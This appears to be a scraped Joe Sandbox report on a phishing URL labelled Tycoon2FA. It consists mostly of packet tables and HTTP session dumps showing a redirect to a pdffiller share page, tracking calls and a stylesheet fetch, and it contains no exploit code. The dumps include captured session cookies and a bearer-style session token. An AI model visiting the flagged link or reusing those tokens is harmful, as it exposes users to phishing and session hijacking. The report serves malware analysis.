Dec 19, 2024 16:28:12.321244001 CET	53	51856	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:12.328166962 CET	53	63172	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:12.334841013 CET	53	53417	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:12.335402012 CET	53	59595	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:20.600533009 CET	138	138	192.168.11.20	192.168.11.255
Dec 19, 2024 16:28:23.984517097 CET	53	60887	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:27.813539028 CET	52082	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:27.813740015 CET	54729	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:28.273443937 CET	53	52082	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:28.274135113 CET	61220	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:28.342854023 CET	53	54729	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:28.410473108 CET	53	61220	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:29.945456982 CET	54894	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:29.945616007 CET	58745	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:30.084279060 CET	53	54894	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:30.331300020 CET	53	58745	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:30.509491920 CET	57583	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:30.509629011 CET	49992	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:30.651606083 CET	53	57583	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:30.948889971 CET	53	49992	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:32.487900019 CET	53	58815	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:33.162381887 CET	57576	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:33.162476063 CET	61408	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:33.164653063 CET	62539	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:33.164737940 CET	55107	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:33.297627926 CET	53	57576	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:33.304327965 CET	53	61408	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:33.345163107 CET	53	62539	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:33.347100973 CET	53	55107	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:34.193872929 CET	52918	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:34.193942070 CET	63368	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:34.329091072 CET	53	52918	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:34.335848093 CET	53	63368	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:35.182044983 CET	50570	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:35.182116985 CET	54567	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:35.259310961 CET	52918	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:35.259424925 CET	59227	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:35.318850994 CET	53	54567	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:35.323575974 CET	53	50570	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:35.367165089 CET	53	56858	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:35.404392004 CET	53	59227	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:35.415425062 CET	53	52918	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:44.320664883 CET	64280	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:44.320664883 CET	56278	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:44.320853949 CET	60306	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:44.320939064 CET	60191	53	192.168.11.20	1.1.1.1
Dec 19, 2024 16:28:44.456043959 CET	53	64280	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:44.457380056 CET	53	60306	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:44.457391024 CET	53	56278	1.1.1.1	192.168.11.20
Dec 19, 2024 16:28:44.457720995 CET	53	60191	1.1.1.1	192.168.11.20

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 19, 2024 16:27:37.186443090 CET	192.168.11.20	1.1.1.1	cb4c	(Port unreachable)	Destination Unreachable
Dec 19, 2024 16:28:03.541672945 CET	192.168.11.20	1.1.1.1	cbcd	(Port unreachable)	Destination Unreachable
Dec 19, 2024 16:28:06.569185972 CET	192.168.11.20	1.1.1.1	cbab	(Port unreachable)	Destination Unreachable
Dec 19, 2024 16:28:09.140764952 CET	192.168.11.20	9.9.9.9	db25	(Port unreachable)	Destination Unreachable
Dec 19, 2024 16:28:28.343075037 CET	192.168.11.20	1.1.1.1	cbbe	(Port unreachable)	Destination Unreachable
Dec 19, 2024 16:28:30.331604004 CET	192.168.11.20	1.1.1.1	cbbe	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:30 UTC	662	OUT	GET /3eQ2md HTTP/1.1 Host: pdf.ac Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:30 UTC	892	IN	HTTP/1.1 302 Found Date: Thu, 19 Dec 2024 15:27:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: nginx Status: 302 Found Cache-Control: no-cache, private Location: https://www.pdffiller.com/en/shareViaLink/U056YStHbk5zOTh3TXVCNG8zZmtUOTU4c1I5bUNQVWRrSGMyVWxJWWF2bkJwekZmKzk3cU4rSnJXdTZnbFpMQzRSMVE0MWZkbHppOTRmclNOR0l4eGR2Qm5YMTVTenNhRUVaclJaMm40bXV4Y3NIeUN0MHZWQ0JSTjBGRFBjRitUVTZ5a3pFMGVXVVo3bE44bVlBcW1VVDAxSjloRWRsYkFXSWtFK1hxNlh4RWhrcDByZnd4TzJDL2FtMytEUT09.htm Set-Cookie: pdffiller_url_shortener_session=eyJpdiI6Ino3V1Rpd2t2MkJtSHNkY2MzbHg3TFE9PSIsInZhbHVlIjoiZHNucjU1dWdKQVwvR3ZSaERXNnBzQ0J6WDI5cEZKK0tNYnF2U2tSSUF5YUdZMUF6cUVJM0piT1hkMWtZbDZsOTQiLCJtYWMiOiIwMGNkMGU3NjQ3OGU2ZGJlNTQ5M2M2NjUzZDcwOWM1OWRjNDM0NGYyNGI2Y2E3ZWZlNjZhYTFiNWNhNjkxMDZjIn0%3D; expires=Fri, 20-Dec-2024 03:27:30 GMT; Max-Age=43200; path=/; httponly
2024-12-19 15:27:30 UTC	1461	IN	Data Raw: 35 61 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 64 66 66 69 6c 6c 65 72 2e 63 6f 6d 2f 65 6e 2f 73 68 61 72 65 56 69 61 4c 69 6e 6b 2f 55 30 35 36 59 53 74 48 62 6b 35 7a 4f 54 68 33 54 58 56 43 4e 47 38 7a 5a 6d 74 55 4f 54 55 34 63 31 49 35 62 55 4e 51 56 57 52 72 53 47 4d 79 56 57 78 4a 57 57 46 32 62 6b 4a 77 65 6b 5a 6d 4b 7a 6b 33 63 55 34 72 53 6e 4a 58 64 54 5a 6e 62 46 70 4d 51 7a 52 53 4d 56 Data Ascii: 5ae<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.pdffiller.com/en/shareViaLink/U056YStHbk5zOTh3TXVCNG8zZmtUOTU4c1I5bUNQVWRrSGMyVWxJWWF2bkJwekZmKzk3cU4rSnJXdTZnbFpMQzRSMV
2024-12-19 15:27:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:37 UTC	547	OUT	OPTIONS /collect HTTP/1.1 Host: fga.infrateam.net Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type,x-api-key,x-faro-session-id Origin: https://www.pdffiller.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:38 UTC	302	IN	HTTP/1.1 204 No Content Date: Thu, 19 Dec 2024 15:27:37 GMT Connection: close Access-Control-Allow-Headers: Content-Type, X-Api-Key, X-Faro-Session-Id Access-Control-Allow-Methods: POST Access-Control-Allow-Origin: * Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:38 UTC	691	OUT	POST /collect HTTP/1.1 Host: fga.infrateam.net Connection: keep-alive Content-Length: 1258 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-platform: "Windows" x-faro-session-id: 652dbb9ebce848019b59684b5941e680 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 x-api-key: api_key Content-Type: application/json Accept: / Origin: https://www.pdffiller.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:38 UTC	1258	OUT	Data Raw: 7b 22 6d 65 74 61 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 31 2e 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6e 61 6d 65 22 3a 22 64 65 73 6b 31 39 2d 65 64 69 74 6f 72 2d 66 72 6f 6e 74 22 2c 22 6e 61 6d 65 73 70 61 63 65 22 3a 22 6a 73 66 69 6c 6c 65 72 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 32 2e 33 37 2e 37 22 7d 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 6e 61 6d 65 22 3a 22 43 68 72 6f 6d 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 32 38 2e 30 2e 30 2e 30 22 2c 22 6f 73 22 3a 22 57 69 6e 64 6f 77 73 20 31 30 22 2c 22 75 73 65 72 41 67 65 6e 74 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 Data Ascii: {"meta":{"sdk":{"version":"1.11.0"},"app":{"name":"desk19-editor-front","namespace":"jsfiller","version":"2.37.7"},"browser":{"name":"Chrome","version":"128.0.0.0","os":"Windows 10","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
2024-12-19 15:27:38 UTC	230	IN	HTTP/1.1 429 Too Many Requests Date: Thu, 19 Dec 2024 15:27:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 18 Connection: close Access-Control-Allow-Origin: * Vary: Origin X-Content-Type-Options: nosniff
2024-12-19 15:27:38 UTC	18	IN	Data Raw: 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 0a Data Ascii: Too Many Requests

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:39 UTC	1339	OUT	GET /track/impressions?origin=https://www.pdffiller.com&initialPage=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Dfalse%26routeId%3D7e6058c3c2cfc0c35e64ebfda2d729ea%23652dbb9ebce848019b59684b5941e680 HTTP/1.1 Host: sks.mrkhub.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.pdffiller.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2024-12-19 15:27:39 UTC	1264	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:27:39 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: istio-envoy cache-control: no-cache, private access-control-allow-origin: https://www.pdffiller.com access-control-allow-credentials: true access-control-allow-methods: GET access-control-allow-headers: Content-Type,Accept,X-Requested-With vary: Origin set-cookie: sks_initial_page=eyJpdiI6Ii9qVmlVT3pQU1J0aXN3WU1LOWE4SWc9PSIsInZhbHVlIjoibTRzTG1kTkhLWVd5VkZSWmdsUXRaWnRwQUVBS0drY01hb0tOTjRhRVEwRzgwZUF6WkhRVnJ4UnNFdmtWNFEzMDVZNjdTQzhxUVVLMElSZk9BUWo1eXlGa0tEYWNCR0xnc2FsN3NCWjlnb0U9IiwibWFjIjoiZDg5ZDFkNjZjNmI0NmFjNzg2ZmNhNGRjMjk2NjBlN2Y5YWE2NmI4ODQ4OWU5MzU3ODMxZTE5MjczYzhjZGU2NSIsInRhZyI6IiJ9; expires=Thu, 19 Dec 2024 16:27:39 GMT; Max-Age=3600; path=/;samesite=none; secure; httponly set-cookie: sks_referrer=eyJpdiI6InZsTnFqMnA3S3lMS0huenNtRmo5QUE9PSIsInZhbHVlIjoib2xUSG9FaHF4NmFhcGRGOTBFYkxNdDlFYW9wVnBHNU5OUGEvYm13ZlNPSitoeG8rQy9XQVlVeXkrTFRJVjBZcyIsIm1hYyI6IjQyODllNzkyNmMxYzQyZDg1Y2JjZmZkZDcwMzIyYTgyMDVhYmY2MmJiNWRkNjRiMWYyNTI2OWIxOWM1Zjk4OWEiLCJ0YWciOiIifQ%3D%3D; expires=Thu, 19 Dec 2024 16:27:39 GMT; Max-Age=3600; path=/;samesite=none; secure; httponly x-envoy-upstream-service-time: 450
2024-12-19 15:27:39 UTC	8	IN	Data Raw: 33 0d 0a 32 30 30 0d 0a Data Ascii: 3200
2024-12-19 15:27:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:40 UTC	1695	OUT	GET /track/impressions?origin=https://www.pdffiller.com&initialPage=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Dfalse%26routeId%3D7e6058c3c2cfc0c35e64ebfda2d729ea%23652dbb9ebce848019b59684b5941e680 HTTP/1.1 Host: sks.mrkhub.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: sks_initial_page=eyJpdiI6Ii9qVmlVT3pQU1J0aXN3WU1LOWE4SWc9PSIsInZhbHVlIjoibTRzTG1kTkhLWVd5VkZSWmdsUXRaWnRwQUVBS0drY01hb0tOTjRhRVEwRzgwZUF6WkhRVnJ4UnNFdmtWNFEzMDVZNjdTQzhxUVVLMElSZk9BUWo1eXlGa0tEYWNCR0xnc2FsN3NCWjlnb0U9IiwibWFjIjoiZDg5ZDFkNjZjNmI0NmFjNzg2ZmNhNGRjMjk2NjBlN2Y5YWE2NmI4ODQ4OWU5MzU3ODMxZTE5MjczYzhjZGU2NSIsInRhZyI6IiJ9; sks_referrer=eyJpdiI6InZsTnFqMnA3S3lMS0huenNtRmo5QUE9PSIsInZhbHVlIjoib2xUSG9FaHF4NmFhcGRGOTBFYkxNdDlFYW9wVnBHNU5OUGEvYm13ZlNPSitoeG8rQy9XQVlVeXkrTFRJVjBZcyIsIm1hYyI6IjQyODllNzkyNmMxYzQyZDg1Y2JjZmZkZDcwMzIyYTgyMDVhYmY2MmJiNWRkNjRiMWYyNTI2OWIxOWM1Zjk4OWEiLCJ0YWciOiIifQ%3D%3D
2024-12-19 15:27:41 UTC	828	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:27:41 GMT Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: close server: istio-envoy cache-control: no-cache, private access-control-allow-origin: https://www.pdffiller.com access-control-allow-credentials: true access-control-allow-methods: GET access-control-allow-headers: Content-Type,Accept,X-Requested-With vary: Origin set-cookie: sks_referrer=eyJpdiI6IlJEdDAxakRIOGF3Z09hdWpNc0pOY0E9PSIsInZhbHVlIjoiMHc4UnhWclFsc0RKNDVJL3V0ZkxhSURGZWtoYkxLL09wWW1qNTZtMXFxc2ZUOC81aG1oU2F3Uk1XaXdrc2FYVSIsIm1hYyI6IjE0NzIxZjc5N2U0Njg3MzMzNTY0NzZiZTNkNTE2ZGQ3ZGM5M2VmMWQ0MDdkYjViNTAxNmNhNzVhYmY3NzAxZGIiLCJ0YWciOiIifQ%3D%3D; expires=Thu, 19 Dec 2024 16:27:41 GMT; Max-Age=3600; path=/;samesite=none; secure; httponly x-envoy-upstream-service-time: 399
2024-12-19 15:27:41 UTC	8	IN	Data Raw: 33 0d 0a 32 30 30 0d 0a Data Ascii: 3200
2024-12-19 15:27:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://pdf.ac/3eQ2md

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Tycoon2FA

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 175

Chrome Cache Entry: 176

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Windows Analysis Report
https://pdf.ac/3eQ2md

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:41 UTC	1243	OUT	POST /ccm/collect?en=page_view&dl=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F&scrsrc=www.googletagmanager.com&frm=0&rnd=1533068938.1734622060&dt=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&auid=31251489.1734622060&navt=n&npa=0&gtm=45He4cc1v78355092za200&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&tft=1734622060009&tfd=11494&apve=1 HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.pdffiller.com X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wB Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
2024-12-19 15:27:42 UTC	581	IN	HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/plain Date: Thu, 19 Dec 2024 15:27:42 GMT Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Vary: Origin Vary: X-Origin Vary: Referer Server: scaffolding on HTTPServer2 Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Access-Control-Allow-Origin: https://www.pdffiller.com Access-Control-Expose-Headers: date,vary,vary,vary,server,content-length Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:27:42 UTC	3603	OUT	GET /static/support-static/514/organisations/pdffiller/stylesheet/modals/feedback-modals.min.css HTTP/1.1 Host: static.pdffiller.com Connection: keep-alive sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.pdffiller.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=bhjju3r92ph60t1at05f4bvuv5; stream_uuid=a00d4ee7-f74f-4ad3-845c-26806b82f93e; external_guest_id=a664c069d6.1734622052; airSlate_session_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIxIiwiY2xpZW50X3V1aWQiOiIzNDVlYzEwNy04YjI0LTQ5NDUtOGMwZS1kY2ExYjg3MjgzZWUiLCJ1c2VyX3V1aWQiOiIwYmIyM2NmMi02OTRiLTRmMzEtYjc4Ny1hYzllYTE1MjkwOWYiLCJzY2hlbWUiOiJodHRwczovL29hdXRoLmFpcnNsYXRlLmNvbS9zY2hlbWUvZ3Vlc3QvYWNjZXNzLXRva2VuIiwic2NvcGVzIjpbIm9hdXRoOmd1ZXN0Il0sImV4cCI6MTczNDcwODQ1MiwibmJmIjoxNzM0NjIyMDUyLCJpYXQiOjE3MzQ2MjIwNTIsImp0aSI6ImMxYjQzMWRmLTYzZmItNGRhZi1hNTJmLWRlODIwZTQ0MTM5OCJ9.eButAxxG4FjnlgJvexcPu3MQ_Lfojrc2IdX38awlDIYp7Zqnjse9BMWkyegNMpBMVvYHRnWDrlAd_g086ak0wLw_loPcXcvTCsj-XIcgBZKCkWvPP2jQbyBp2kWbOD_ZTcjf1O6ym2p_LchyWZIPkn0lhI0JifO5JiUcYgmrxBmTRPhcVsHk6iIYvf41H6VBvxzz3JOcEHMJF2FWTjevFNnQDb-7k-zXlZGrBAJ6CGD4JiApuj1P5WvSKK-mZw9ICukp2NzwwIrHGEiX03MexGD4DY5Zgi_F7x1tPcn0PpE9cZwe6OO5JBW-EefwOlcbWHukjNaiZgsuFDbKeivzcDK98ftJvm5ObL_7jAiMQODL1pOl3ntB1IoMbSRQfr8DwAoDMhQKI7O_wIcXgYDxJEEIiGSFQamfjvy5uHN2sU [TRUNCATED]
2024-12-19 15:27:42 UTC	476	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:27:42 GMT Content-Type: text/css Content-Length: 8228 Connection: close access-control-allow-headers: * access-control-allow-methods: GET,HEAD,POST,PUT access-control-allow-origin: * access-control-max-age: 600 cache-control: max-age=31536000 etag: "47074dd1919b4adf9521868bc0e968ac" last-modified: Thu, 23 Jun 2022 15:30:27 GMT x-envoy-upstream-service-time: 59 Forwarded-Request-Id: 3f32b8203f262ff30f28e9c4514f32f7
2024-12-19 15:27:42 UTC	5311	IN	Data Raw: 40 6b 65 79 66 72 61 6d 65 73 20 72 6f 74 61 74 65 7b 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 64 61 73 68 7b 30 25 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 2c 31 35 30 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 7d 35 30 25 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 39 30 2c 31 35 30 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 33 35 7d 74 6f 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 39 30 2c 31 35 30 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 31 32 34 7d 7d 2e 73 76 2d 69 63 6f 6e 7b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 6d 73 Data Ascii: @keyframes rotate{to{transform:rotate(360deg)}}@keyframes dash{0%{stroke-dasharray:1,150;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-35}to{stroke-dasharray:90,150;stroke-dashoffset:-124}}.sv-icon{display:-ms-flexbox;display:flex;-ms
